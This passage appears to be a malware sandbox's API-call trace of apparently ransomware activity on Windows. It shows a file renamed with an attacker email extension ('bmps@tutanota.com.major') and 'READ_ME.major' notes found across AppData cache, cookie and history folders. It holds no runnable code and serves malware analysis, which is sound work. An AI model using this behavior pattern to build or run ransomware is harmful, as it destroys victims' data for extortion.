[0229.220] CloseHandle (hObject=0x1988) returned 1 [0229.220] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0229.220] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1bae5997-e878-4247-b7f8-d49affc6cff5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\1bae5997-e878-4247-b7f8-d49affc6cff5"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1bae5997-e878-4247-b7f8-d49affc6cff5.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\1bae5997-e878-4247-b7f8-d49affc6cff5.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0229.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0229.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6348 | out: hHeap=0x570000) returned 1 [0229.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dc10 | out: hHeap=0x570000) returned 1 [0229.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0229.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668c50 | out: hHeap=0x570000) returned 1 [0229.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667e10 | out: hHeap=0x570000) returned 1 [0229.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f60670 | out: hHeap=0x570000) returned 1 [0229.223] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x161f141, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2082fdf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39a7520e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34520 [0229.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e0b0 | out: hHeap=0x570000) returned 1 [0229.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0229.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b1b0 | out: hHeap=0x570000) returned 1 [0229.223] GetLastError () returned 0x0 [0229.223] GetLastError () returned 0x0 [0229.224] GetLastError () returned 0x0 [0229.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0229.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f342a0 | out: hHeap=0x570000) returned 1 [0229.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0229.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee62d0 | out: hHeap=0x570000) returned 1 [0229.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0229.224] FindNextFileW (in: hFindFile=0x2f34520, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x161f141, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2082fdf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39a7520e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0229.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0229.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b348 | out: hHeap=0x570000) returned 1 [0229.224] GetLastError () returned 0x0 [0229.224] GetLastError () returned 0x0 [0229.224] GetLastError () returned 0x0 [0229.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be528 | out: hHeap=0x570000) returned 1 [0229.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34160 | out: hHeap=0x570000) returned 1 [0229.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403d8 | out: hHeap=0x570000) returned 1 [0229.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee62d0 | out: hHeap=0x570000) returned 1 [0229.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0229.224] FindNextFileW (in: hFindFile=0x2f34520, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39a7520e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39a7520e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39a9adea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0229.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0229.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b458 | out: hHeap=0x570000) returned 1 [0229.225] GetLastError () returned 0x0 [0229.225] GetLastError () returned 0x0 [0229.225] GetLastError () returned 0x0 [0229.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6230 | out: hHeap=0x570000) returned 1 [0229.225] FindNextFileW (in: hFindFile=0x2f34520, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39a7520e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39a7520e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39a9adea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667b30 | out: hHeap=0x570000) returned 1 [0229.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667ca0 | out: hHeap=0x570000) returned 1 [0229.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f607d8 | out: hHeap=0x570000) returned 1 [0229.225] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x161f141, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2083998, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39a9adea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34620 [0229.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0229.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0229.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0229.225] GetLastError () returned 0x12 [0229.225] GetLastError () returned 0x12 [0229.225] GetLastError () returned 0x12 [0229.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f344e0 | out: hHeap=0x570000) returned 1 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403d8 | out: hHeap=0x570000) returned 1 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee60c8 | out: hHeap=0x570000) returned 1 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0229.226] FindNextFileW (in: hFindFile=0x2f34620, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x161f141, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2083998, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39a9adea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0229.226] GetLastError () returned 0x12 [0229.226] GetLastError () returned 0x12 [0229.226] GetLastError () returned 0x12 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f343e0 | out: hHeap=0x570000) returned 1 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee63e8 | out: hHeap=0x570000) returned 1 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0229.226] FindNextFileW (in: hFindFile=0x2f34620, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39a9adea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39a9adea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39a9adea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0229.226] GetLastError () returned 0x12 [0229.226] GetLastError () returned 0x12 [0229.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0229.227] GetLastError () returned 0x12 [0229.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee62f8 | out: hHeap=0x570000) returned 1 [0229.227] FindNextFileW (in: hFindFile=0x2f34620, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39a9adea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39a9adea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39a9adea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667908 | out: hHeap=0x570000) returned 1 [0229.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667d58 | out: hHeap=0x570000) returned 1 [0229.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f60760 | out: hHeap=0x570000) returned 1 [0229.227] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x161f141, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2084468, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39a9adea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f340a0 [0229.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dc10 | out: hHeap=0x570000) returned 1 [0229.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0229.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0229.227] GetLastError () returned 0x12 [0229.227] GetLastError () returned 0x12 [0229.227] GetLastError () returned 0x12 [0229.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb00 | out: hHeap=0x570000) returned 1 [0229.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34560 | out: hHeap=0x570000) returned 1 [0229.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0229.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee64d8 | out: hHeap=0x570000) returned 1 [0229.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0229.227] FindNextFileW (in: hFindFile=0x2f340a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x161f141, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2084468, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39a9adea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0229.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0229.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b3d0 | out: hHeap=0x570000) returned 1 [0229.228] GetLastError () returned 0x12 [0229.228] GetLastError () returned 0x12 [0229.228] GetLastError () returned 0x12 [0229.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec60 | out: hHeap=0x570000) returned 1 [0229.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34060 | out: hHeap=0x570000) returned 1 [0229.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0229.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee64d8 | out: hHeap=0x570000) returned 1 [0229.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0229.228] FindNextFileW (in: hFindFile=0x2f340a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39a9adea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39a9adea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39a9adea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0229.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0229.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0229.228] GetLastError () returned 0x12 [0229.228] GetLastError () returned 0x12 [0229.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0229.228] GetLastError () returned 0x12 [0229.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6140 | out: hHeap=0x570000) returned 1 [0229.228] FindNextFileW (in: hFindFile=0x2f340a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39a9adea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39a9adea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39a9adea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667e10 | out: hHeap=0x570000) returned 1 [0229.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6642d8 | out: hHeap=0x570000) returned 1 [0229.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f606e8 | out: hHeap=0x570000) returned 1 [0229.229] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223cdb7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c184e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34320 [0229.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0229.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0229.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0229.229] GetLastError () returned 0x12 [0229.229] GetLastError () returned 0x12 [0229.229] GetLastError () returned 0x12 [0229.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0229.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34120 | out: hHeap=0x570000) returned 1 [0229.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0229.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6460 | out: hHeap=0x570000) returned 1 [0229.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0229.229] FindNextFileW (in: hFindFile=0x2f34320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223cdb7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c184e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0229.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0229.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0229.230] GetLastError () returned 0x12 [0229.230] GetLastError () returned 0x12 [0229.230] GetLastError () returned 0x12 [0229.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be790 | out: hHeap=0x570000) returned 1 [0229.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34160 | out: hHeap=0x570000) returned 1 [0229.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40570 | out: hHeap=0x570000) returned 1 [0229.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6230 | out: hHeap=0x570000) returned 1 [0229.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0229.230] FindNextFileW (in: hFindFile=0x2f34320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39c184e6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39c184e6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39c3e7af, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0229.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0229.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0229.230] GetLastError () returned 0x12 [0229.230] GetLastError () returned 0x12 [0229.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0229.230] GetLastError () returned 0x12 [0229.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6050 | out: hHeap=0x570000) returned 1 [0229.230] FindNextFileW (in: hFindFile=0x2f34320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39c184e6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39c184e6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39c3e7af, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0229.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0229.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f60788 | out: hHeap=0x570000) returned 1 [0229.230] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223d8d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c3e7af, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f345a0 [0229.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e300 | out: hHeap=0x570000) returned 1 [0229.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0229.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0229.231] GetLastError () returned 0x12 [0229.231] GetLastError () returned 0x12 [0229.231] GetLastError () returned 0x12 [0229.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be528 | out: hHeap=0x570000) returned 1 [0229.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34660 | out: hHeap=0x570000) returned 1 [0229.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0229.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee62f8 | out: hHeap=0x570000) returned 1 [0229.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0229.231] FindNextFileW (in: hFindFile=0x2f345a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223d8d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c3e7af, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0229.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0229.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0229.231] GetLastError () returned 0x12 [0229.231] GetLastError () returned 0x12 [0229.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0229.232] GetLastError () returned 0x12 [0229.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0229.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f340e0 | out: hHeap=0x570000) returned 1 [0229.232] HeapFree (in: hHeap=0x570000, 